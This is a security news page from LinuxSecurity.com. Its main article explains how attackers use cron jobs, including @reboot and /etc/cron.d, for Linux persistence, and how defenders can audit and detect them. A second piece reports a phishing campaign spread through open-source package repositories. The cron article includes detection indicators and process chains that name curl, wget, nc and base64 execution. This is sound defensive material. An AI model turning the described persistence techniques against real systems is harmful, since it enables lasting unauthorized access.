Stay Ahead With Linux Security Features
security advisory attack A Linux server gets cleaned up after an intrusion. The suspicious process is terminated, credentials are rotated, and the system is rebooted during maintenance. Everything seems secure. A few hours later, the same outbound connection appears again. . Situations like that point to persistence . The attacker no longer needs the original exploit because something on the host continues restoring access behind the scenes. Finding that mechanism is often more important than understanding how the...
Jun 08, 2026
threat detection scalability Building a SIEM is easier than scaling one. Most open-source deployments start as a simple "all-in-one" server. It is easy to set up, but that design rarely survives the transition from a lab to a production workload. . A SIEM watching 20 endpoints is not doing the same job as one watching 500. More endpoints mean more logs; more logs require more storage; more storage makes search heavier. Eventually, the very architecture that made your lab easy to deploy becomes the reason your production...
Jun 04, 2026
security advisory apache A newly disclosed attack technique called HTTP/2 Bomb is drawing attention because it targets the software that sits at the front of much of the Linux internet. Apache HTTP Server, NGINX, Envoy, and the ingress layers that many Kubernetes environments depend on can be forced into consuming disproportionate amounts of memory using relatively small amounts of attacker traffic. . For Linux administrators, the concern is not the HTTP/2 protocol itself. It is the possibility that a single...
Jun 04, 2026
security advisory important The compromise of Nx Console shows how much infrastructure now sits behind a single developer account. GitHub repositories, CI/CD pipelines, container build systems, Terraform projects, Kubernetes deployments. None of those systems was the initial target. The workstation was. . Attackers did not need a Linux privilege escalation bug or a remote code execution chain. They needed developers to trust a tool they were already using. For many organizations, that was enough. What Happened? Federal...
Jun 03, 2026
security advisory open-source You remove the malware. You rotate the compromised credentials. You patch the original vulnerability and close the ticket. Two weeks later, the attacker is back. . What happened? You didn't lose the battle at the exploit; you lost it at the cleanup. In many modern Linux intrusions, the malware you found wasn't the main problem—it was the fallback mechanisms left behind. These hooks quietly restore attacker access the moment you look away. If you clean a host but miss these persistence layers,...
Jun 02, 2026
Refine features
X Clear Filters
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
What got you started with Linux?
Loading...
Explore Latest Linux Security features
We found -3 articles for you...
102
security advisoryattacklinuxCron Job Abuse For Linux Persistence Mechanisms Detection
A Linux server gets cleaned up after an intrusion. The suspicious process is terminated, credentials are rotated, and the system is rebooted during maintenance. Everything seems secure. A few hours later, the same outbound connection appears again. . Situations like that point to persistence . The attacker no longer needs the original exploit because something on the host continues restoring access behind the scenes. Finding that mechanism is often more important than understanding how the compromise started in the first place. Linux attackers rarely need complicated malware for this. Built-in operating system features already provide reliable ways to execute code, survive reboots, and maintain a foothold. cron sits near the top of that list. It is trusted, widely deployed, and present on almost every Linux distribution. For an attacker, that combination is hard to ignore. Why Attackers Use Cron to Maintain Access Attackers spend a lot of time looking for ways to keep access after the initial compromise. Getting into a system is one thing. Staying there after a password reset or a reboot is the harder part. MITRE ATT&CK tracks this behavior under T1053.003: Scheduled Task/Job: Cron , which documents how adversaries use cron jobs for both persistence and execution on Linux systems. The functionality is already there. It is native to the OS. Because scheduled tasks are expected and necessary, creating a new job requires very little effort. Most defenders spend their time reviewing login events, suspicious processes, or malware alerts. They rarely spend the same amount of time reviewing the configuration files that control scheduled activity. That environment helps malicious entries blend in . A scheduled downloader or persistence script sits beside legitimate backup jobs, log maintenance scripts, and monitoring tasks. It hides in plain sight, often going unnoticed for months. What Cron Abuse Looks Like Creating cron-based persistence is straightforward. The approach usuallydepends on the level of access the attacker controls. User Crontabs When an attacker only controls a standard user account, they often start with their own crontab. They run crontab -e . From there, they add a task that runs every few minutes. The job might reconnect to command-and-control infrastructure, launch a payload, or download additional tooling. None of it requires elevated privileges. Root-Level Access Root access changes the equation entirely. A scheduled task running as root inherits whatever control root already has. An attacker who reaches this level can create access that survives reboots while maintaining the ability to execute commands with the highest privileges available on the system. At that point, the cron job is no longer supporting the intrusion. It becomes part of how the attacker keeps control. The /etc/cron.d/ Directory Not every cron entry lives inside a user crontab. Linux systems use the /etc/cron.d/ directory to store separate scheduling files for applications and services. Attackers like this location because a new configuration file can blend into an already crowded directory. Investigators often review the main crontabs while overlooking a file tucked away in this folder. That gap is all an attacker needs. The @reboot Directive Sometimes attackers do not care about the recurring execution every hour. They just want their code to run whenever the host comes back online. The @reboot directive handles this. The configured command launches automatically after startup. Maintenance windows, patch cycles, and power outages become opportunities for the payload to execute again. The entry may sit quietly for weeks. Then a reboot happens and the payload returns. Remote Payload Retrieval Attackers do not always store malware locally on disk. The cron entry acts as a delivery mechanism. Commands using curl , wget , or python retrieve content from remote infrastructure at regular intervals. Updating thepayload becomes as simple as changing a file on the attacker's server. The cron entry never changes. The payload behind it can. How to Hunt for Malicious Cron Jobs If you suspect persistence, stop hunting for active processes and start auditing configuration files. You need to see what is scheduled to run. Manual Audit Commands Start by checking the crontabs for the current user and for root: crontab -l sudo crontab -l Next, inspect the common system-wide locations. A quick way to list these files is: ls -la /etc/cron.* /etc/crontab /var/spool/cron/ Commands are easy. Interpretation is harder. Inspecting Locations Do not just look for files. Look at their contents. You are trying to identify scheduled commands that do not belong. If you find a file in /etc/cron.d/ that does not match a known application, open it and read the command. If it launches a script, follow the path and see what that script actually does. A surprising number of investigations stop after locating the cron entry. The useful evidence is usually one step further down the chain. Questions to Ask During a Cron Investigation Finding a cron job is only the beginning. The next step is determining whether the scheduled task is legitimate or suspicious. When reviewing an entry, ask: Does the command connect to an external IP address or domain? Is the script owned by an unexpected user? Does the job execute from temporary directories such as /tmp , /dev/shm , or /var/tmp ? Does the command contain encoded content, such as base64 strings? Was the cron entry created outside normal change-management windows? Does the task run more frequently than expected? Can the entry be tied to a known application, service, or administrative process? The more unusual characteristics a cron job displays, the higher its investigative priority should become. How to Detect Cron Abuse at Scale Large environments require continuous monitoring rather than periodic reviews.Security teams should treat cron configuration files as high-value assets and monitor them the same way they monitor sensitive system binaries. At that point, the goal shifts from finding cron jobs to monitoring the activity they create. Elastic Security Labs includes cron among the Linux persistence mechanisms defenders should routinely monitor when investigating post-compromise activity. Monitoring Modifications Use tools such as auditd or File Integrity Monitoring (FIM) to track changes. You want an alert whenever someone modifies /etc/crontab or creates a new file inside /etc/cron.d/ . These locations rarely change on stable systems. Any unexpected modification deserves attention. A cron entry has to be created somewhere. Catching that change early is often easier than detecting the payload later. Analyzing Process Lineage If you have EDR telemetry or system logs, look at parent-child process relationships. A legitimate maintenance script may launch a shell. What deserves attention is cron consistently spawning network-facing utilities, scripting engines, or unexpected binaries. Examples include: cron → curl cron → wget cron → python cron → bash Detection engineers frequently hunt for these execution chains because cron spawning network utilities or scripting interpreters can indicate activity. Elastic maintains a public hunting rule focused specifically on cron-based persistence . Indicators That Deserve Immediate Review Certain findings consistently move to the top of the queue during a cron investigation. None prove malicious activity on their own, but they appear often enough that they deserve immediate review. Network Activity: Any cron job calling curl , wget , nc , or ssh . Encoded Commands: Obfuscated strings, heavy use of base64 , or long bash one-liners. Execution Paths: Scripts or binaries running from /tmp/ , /dev/shm/ , or /var/tmp/ . New Entries: Any cron file with a recent modificationtimestamp that cannot be explained through patching or change management. Root-Owned Tasks: Unexpected scheduled tasks running as root that do not tie back to a known service or administrative process. Why Cron Still Works Cron remains one of the most reliable persistence mechanisms available on Linux systems because it is simple and effective. Attackers continue using it because they do not need anything more complicated. Most cron-based persistence is not particularly sophisticated. It works because nobody is looking for it. That makes visibility more valuable than complexity. Related Reading Linux Persistence Hunting: Essential Detection Techniques Detecting Systemd Abuse on Linux Servers for Better Security Linux Attackers Use SSH and Legitimate Tools to Evade Detection Auditd vs eBPF: Modern Approaches to Linux System Monitoring . Learn how attackers use cron jobs for persistence on Linux systems and what to look for to detect such abuse.. Linux Cron Persistence Attack Detection Monitoring. . Dave Wreski
Jun 08, 2026
•
102
network securitycyber threatsopen-sourceMassive Phishing Campaign Targets Open-Source Repositories and Users
Researchers have identified that unknown threat actors uploaded about 144,294 phishing-related packages using open-source package repositories, including NPM, PyPi, and NuGet. Automation allowed for these large-scale attacks in network security that promoted fake apps, prize-winning surveys, gift cards, giveaways, and more. Hackers utilized naming schemes with similar features in the descriptions to host over 65,000 phishing pages across 90 domains. . A Massive Example of the Growing Phishing Problem Phishing exploits in cybersecurity impact the open-source software ecosystem by accounting for over 90% of today’s cyberattacks in network security, posing a threat to all users and organizations. The quantities for malicious package uploads are as follows: NuGet had 136,258, PyPI had 7,894, and NPM had 212 infections. The package descriptions contained phishing site URLs and urged users to click links for details about alleged gift card codes, applications, and hacking tools. Security professionals discerned that attackers were focusing on increasing the SEO of their phishing sites. Almost all of these sites request visitors to enter their email, username, and account passwords, causing victims to share sensitive data that hackers monetize for personal and financial gain. The system then initiates a series of redirects to survey sites, landing on legitimate e-commerce websites using affiliate links that generate revenue for the malicious actors. If victims made purchases on these sites while the referral codes were active, the threat actors would receive referral awards, making the safe website a distraction for this secondary exploitation scheme of stealing a victim’s login credentials. The Bottom Line Online repositories removed these phishing campaign packages from their sites, but NuGet unlisted them from search results, meaning they are still available but difficult to access. However, these automation methods for phishing raise concern for security professionals, who worry thatcybercriminals could reintroduce these network security threats easily and work quickly to harm data and network security once more. Linux security expert Dave Wreski advises, “To protect their digital security, users should always engage in cybersecurity best practices and remain vigilant when browsing package repositories.” Check out this IoC text file on GitHub for the complete list of URLs used in this campaign. Be sure to visit LinuxSecurity.com frequently and subscribe to our weekly newsletters to stay up-to-date on the latest security news and information impacting the open-source community! . This extensive operation pushed fraudulent applications, questionnaires, and vouchers to take advantage of individuals within public code repositories.. phishing campaign, open-source security, malicious packages, cybersecurity threats. . Brittany Day
Dec 15, 2022
•
Get the latest News and Insights
Get the latest Linux and open source security news straight to your inbox.
Community Poll
What got you started with Linux?
Search Topics
Powered By
Linux Security - Your source for Top Linux News, Advisories, HOWTOs and Feature Releases
QUICK LINKS
subscribe to newsletters!
Like staying secure? So do we.
Sign up for updates, tips, and alerts!
Discover faster search, smarter navigation, and deeper Linux security insights. Read More